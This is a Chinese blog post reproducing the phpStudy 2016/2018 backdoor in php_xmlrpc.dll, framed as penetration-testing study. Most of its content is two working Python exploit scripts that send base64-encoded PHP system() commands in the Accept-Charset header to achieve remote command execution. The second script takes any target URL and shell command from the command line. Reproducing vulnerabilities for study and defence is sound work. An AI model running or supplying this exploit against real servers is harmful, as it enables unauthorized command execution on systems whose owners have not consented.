【渗透测试】phpstudy后门利用复现

一、漏洞描述

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer,多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。2018年被爆出存在后门。

漏洞环境自行搭建。
本博客仅学习使用。

二、漏洞影响版本

phpStudy2016

php\php-5.2.17\ext\php_xmlrpc.dll

php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll

PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

三、漏洞RCE

在这里插入图片描述
访问网站主页抓包,在数据包中添加字段,然后重放数据包即可触发漏洞

accept-charset:base64编码的系统命令

根据数据包编写脚本

# 1.0 版本
# 自己base64系统命令替换程序中的payload即可
import requests
import base64

# 攻击目标
target_url = "http://127.0.0.1"

# cmd = input("命令:")
# payload = base64.b64encode(b'cmd')
payload = base64.b64encode(b'system("whoami");')
# payload = "c3lzdGVtKCJ3aG9hbWkiKTs="

# 定制请求
headers = {"User-Agen": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.3",
            "Accept-Encoding": "gzip,deflate",
            "Accept-charset": payload,
            "Accept-Language": "zh-CN,zh;q=0.9",
            "Connection": "close"
            }
re = requests.request("GET", target_url, headers=headers, verify=False)

print(re.text)
# 2.0 版本
# python3 rce.py http://127.0.0.1 whoami
import requests
import base64
import sys

# 转义的方式
def EncodeData(data):
    data = base64.b64encode(data.encode("UTF-8"))
    return data

def rce(url, cmd):
    target_url = url
    payload = cmd
    headers = {
        "User-Agen": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.3",
        "Accept-Encoding": "gzip,deflate",
        "Accept-charset": payload,
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }
    result = requests.request("GET", target_url, headers=headers, verify=False)
    return result.text

def main():
    url = sys.argv[1]  # 获取第2个外部参数
    payload = sys.argv[2]  # 获取第3个外部参数  sys.argv[0]是默认是脚本名称
    # cmd = r"system('" + payload + r"')" 这种方式不可用
    cmd = "system('{}');".format(payload)
    print("已执行:", cmd)

    re = rce(url, EncodeData(cmd))
    print("执行结果:\n", re)


if __name__ == '__main__':
    main()

脚本没有做错误处理,只能简单验证漏洞存在
执行效果:
在这里插入图片描述

by 久违
2021.11.1

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

久违 °

小菜鸟就要使劲飞

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值